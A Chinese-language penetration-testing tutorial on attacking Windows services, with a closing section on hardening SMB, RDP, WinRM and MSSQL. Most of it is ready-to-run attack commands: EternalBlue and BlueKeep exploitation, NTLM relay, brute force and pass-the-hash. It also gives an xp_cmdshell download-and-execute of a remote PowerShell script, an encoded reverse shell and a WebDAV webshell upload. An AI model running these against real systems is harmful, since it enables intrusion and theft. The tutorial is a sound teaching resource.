Windows 系统运行着众多网络服务,每一个开放的端口都可能成为攻击者的突破口。在上一篇完成信息收集之后,本文将深入讲解 Windows 环境中最常见的服务攻击面,包括 SMB、RDP、WinRM、MSSQL 和 IIS,从漏洞原理到实战利用,再到对应的安全加固措施,构建完整的攻击与防御知识框架。
SMB 协议攻击
SMB(Server Message Block)协议是 Windows 网络的核心组成部分,负责文件共享、打印服务和进程间通信。由于其广泛部署和协议复杂性,SMB 历来是 Windows 渗透测试中最重要的攻击向量。
MS17-010 永恒之蓝(EternalBlue)
MS17-010 是 2017 年由 Shadow Brokers 泄露的 NSA 武器库中最具破坏力的漏洞之一。该漏洞存在于 SMBv1 协议的事务处理中,允许攻击者通过发送特制数据包实现远程代码执行。
# 第一步:确认目标是否存在 MS17-010 漏洞
nmap --script smb-vuln-ms17-010 -p 445 10.10.10.100
# 第二步:使用 Metasploit 利用漏洞
msfconsole -q
# 在 msf 中:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.100
set LHOST 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
# 如果成功,将获得 SYSTEM 权限的 Meterpreter 会话
# meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
对于不使用 Metasploit 的场景,可以使用独立的漏洞利用脚本:
# 使用 AutoBlue 脚本
git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010
# 生成 shellcode
./shell_prep.sh
# 选择反向 shell 类型和参数
# 执行利用
python3 eternalblue_exploit7.py 10.10.10.100 shellcode/sc_x64.bin
SMB 签名绕过与中继攻击
当 Windows 主机未强制启用 SMB 签名时,攻击者可以执行 NTLM 中继攻击,将截获的认证凭据转发到其他主机,从而实现无需密码的横向移动。
# 第一步:检查网络中 SMB 签名未强制的主机
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# 或使用 Nmap
nmap --script smb2-security-mode -p 445 10.10.10.0/24
# 关注 "Message signing enabled but not required" 的主机
# 第二步:关闭攻击机的 SMB 服务(避免端口冲突)
sudo systemctl stop smbd
# 第三步:启动 ntlmrelayx 监听
# 中继到目标并尝试获取 SAM 数据库
sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support
# 中继并执行命令
sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami /all"
# 中继到 LDAP(在域环境中创建机器账户)
sudo impacket-ntlmrelayx -t ldap://10.10.10.100 --add-computer
# 第四步:触发认证(使用 Responder 捕获 NTLM 认证)
sudo responder -I eth0 -dwPv
# 或使用 mitm6 进行 IPv6 DNS 欺骗触发认证
sudo mitm6 -d lab.local
SMB 密码攻击
# 使用 CrackMapExec 进行密码喷射
crackmapexec smb 10.10.10.100 -u users.txt -p 'Spring2024!' --continue-on-success
# 使用 Hydra 暴力破解 SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.100
# 使用已获取的 NTLM Hash 进行 Pass-the-Hash
crackmapexec smb 10.10.10.100 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
# 使用 smbmap 检查共享权限
smbmap -H 10.10.10.100 -u 'testuser' -p 'Welcome1!'
# 递归列出共享中的文件
smbmap -H 10.10.10.100 -u 'testuser' -p 'Welcome1!' -R
RDP 攻击
远程桌面协议(RDP,端口 3389)是 Windows 系统最常用的远程管理手段,也是暴力破解和漏洞利用的重点目标。
暴力破解
# 使用 Hydra 暴力破解 RDP
hydra -L users.txt -P passwords.txt rdp://10.10.10.100 -t 4 -V
# 使用 crowbar(专为 RDP 设计的爆破工具)
crowbar -b rdp -s 10.10.10.100/32 -U users.txt -C passwords.txt -n 1
# 使用 Ncrack
ncrack -vv --user administrator -P passwords.txt rdp://10.10.10.100
# RDP 密码喷射(CrackMapExec)
crackmapexec rdp 10.10.10.0/24 -u 'testuser' -p 'Welcome1!'
BlueKeep(CVE-2019-0708)
BlueKeep 是 RDP 协议中的高危远程代码执行漏洞,影响 Windows 7、Windows Server 2008/2008 R2 等系统,无需认证即可利用。
# 漏洞检测
nmap --script rdp-vuln-ms12-020 -p 3389 10.10.10.100
# 使用 Metasploit 检测
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS 10.10.10.100
run
# Metasploit 利用(注意:可能导致蓝屏,慎用)
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 10.10.10.100
set LHOST 10.10.10.5
set TARGET 2 # 需要根据目标系统选择正确的 target
run
RDP 会话劫持
当已获得 SYSTEM 权限时,可以劫持其他用户的 RDP 会话而无需其密码:
# 查看当前会话
query user
# 劫持目标会话(需要 SYSTEM 权限)
# 例如目标会话 ID 为 2
tscon 2 /dest:console
# 通过创建服务来以 SYSTEM 身份执行
sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#0"
net start sesshijack
WinRM 利用
WinRM(Windows Remote Management,端口 5985/5986)是 Windows 的远程管理框架,提供了强大的远程命令执行能力。
evil-winrm
evil-winrm 是专为渗透测试设计的 WinRM 客户端,功能远超普通 WinRM 连接。
# 基本连接(用户名密码)
evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!'
# 使用 NTLM Hash 连接(Pass-the-Hash)
evil-winrm -i 10.10.10.100 -u 'administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0'
# 加载 PowerShell 脚本
evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' -s /opt/scripts/
# 上传/下载文件
# PS > upload /tmp/winPEASx64.exe C:\Temp\winPEASx64.exe
# PS > download C:\Users\testuser\Desktop\secret.txt /tmp/secret.txt
# 使用 SSL 连接(端口 5986)
evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' -S
# CrackMapExec 验证 WinRM 凭据
crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!'
# 通过 WinRM 执行命令
crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' -x "whoami /priv"
# 执行 PowerShell 命令
crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' -X "Get-Process"
MSSQL 攻击
Microsoft SQL Server(端口 1433)在企业环境中广泛部署,其强大的存储过程机制使其成为获取系统命令执行的重要途径。
# 使用 impacket-mssqlclient 连接
impacket-mssqlclient 'testuser:Welcome1!@10.10.10.100' -windows-auth
# 使用 sqsh 连接
sqsh -S 10.10.10.100 -U sa -P 'DBpassword1!'
# 检查当前权限
# SQL> SELECT SYSTEM_USER;
# SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
# 启用 xp_cmdshell(需要 sysadmin 权限)
# SQL> ENABLE_XP_CMDSHELL
# 或手动启用:
# SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
# SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# 通过 xp_cmdshell 执行系统命令
# SQL> xp_cmdshell whoami
# SQL> xp_cmdshell "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')"
# 读取文件
# SQL> SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;
# MSSQL 密码暴力破解
hydra -L users.txt -P passwords.txt mssql://10.10.10.100
crackmapexec mssql 10.10.10.100 -u sa -p passwords.txt
MSSQL 提权路径
# 使用 impacket-mssqlclient 的交互式 shell
impacket-mssqlclient 'sa:DBpassword1!@10.10.10.100'
# 尝试模拟其他用户
# SQL> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
# SQL> EXECUTE AS LOGIN = 'sa';
# 通过 MSSQL 获取反向 Shell
# SQL> xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdA..."
IIS 漏洞利用
IIS(Internet Information Services)是 Windows 自带的 Web 服务器,常见的攻击面包括:
# IIS 版本探测
curl -I http://10.10.10.100
nmap -sV -p 80,443 --script http-server-header 10.10.10.100
# 目录枚举
gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx,html,txt
# IIS 短文件名枚举(波浪号漏洞)
python3 iis_shortname_scanner.py http://10.10.10.100/
# WebDAV 探测与利用
davtest -url http://10.10.10.100/webdav/
cadaver http://10.10.10.100/webdav/
# 上传 webshell(如果 WebDAV 允许写入)
curl -X PUT http://10.10.10.100/webdav/cmd.aspx -d @cmd.aspx
安全加固建议
针对上述各服务的攻击面,建议采取以下防御措施:
SMB 加固
# 禁用 SMBv1
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
# 强制 SMB 签名
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
# 限制匿名枚举
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictAnonymous" -Value 2
RDP 加固
# 启用网络级认证(NLA)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1
# 限制 RDP 访问用户组
# 仅允许特定组通过 RDP 连接
net localgroup "Remote Desktop Users" /add "RDP-AllowedUsers"
# 配置账户锁定策略
net accounts /lockoutthreshold:5 /lockoutduration:30 /lockoutwindow:30
WinRM 加固
# 仅允许 HTTPS 连接
winrm set winrm/config/service '@{AllowUnencrypted="false"}'
# 限制 WinRM 访问的 IP 范围
Set-Item WSMan:\localhost\Service\IPv4Filter -Value "10.10.10.0/24"
MSSQL 加固
- 禁用
xp_cmdshell,限制sysadmin角色成员 - 使用 Windows 身份验证而非 SQL 混合认证
- 将 SQL Server 服务账户配置为低权限专用账户
- 限制 MSSQL 仅监听内网地址
总结
Windows 服务的攻击面广泛且深入,每一个开放的端口都可能成为攻击链的起点。本文涵盖了五大核心服务的攻击技术:
- SMB — 从永恒之蓝到 NTLM 中继,攻击面最为丰富
- RDP — 暴力破解与 BlueKeep 漏洞利用
- WinRM — 利用 evil-winrm 实现远程命令执行
- MSSQL — 通过 xp_cmdshell 突破数据库边界
- IIS — WebDAV 利用与 Web 应用攻击
在实际渗透测试中,这些服务的攻击往往是相互关联的:通过 SMB 枚举获取的凭据可以用于 RDP 登录,通过 MSSQL 获取的命令执行可以横向移动到域控制器。理解每个服务的攻击原理和防御手段,才能在攻防两端都做到游刃有余。
下一篇文章将进入 Windows 提权阶段,探讨如何从普通用户权限提升到 SYSTEM 或管理员权限。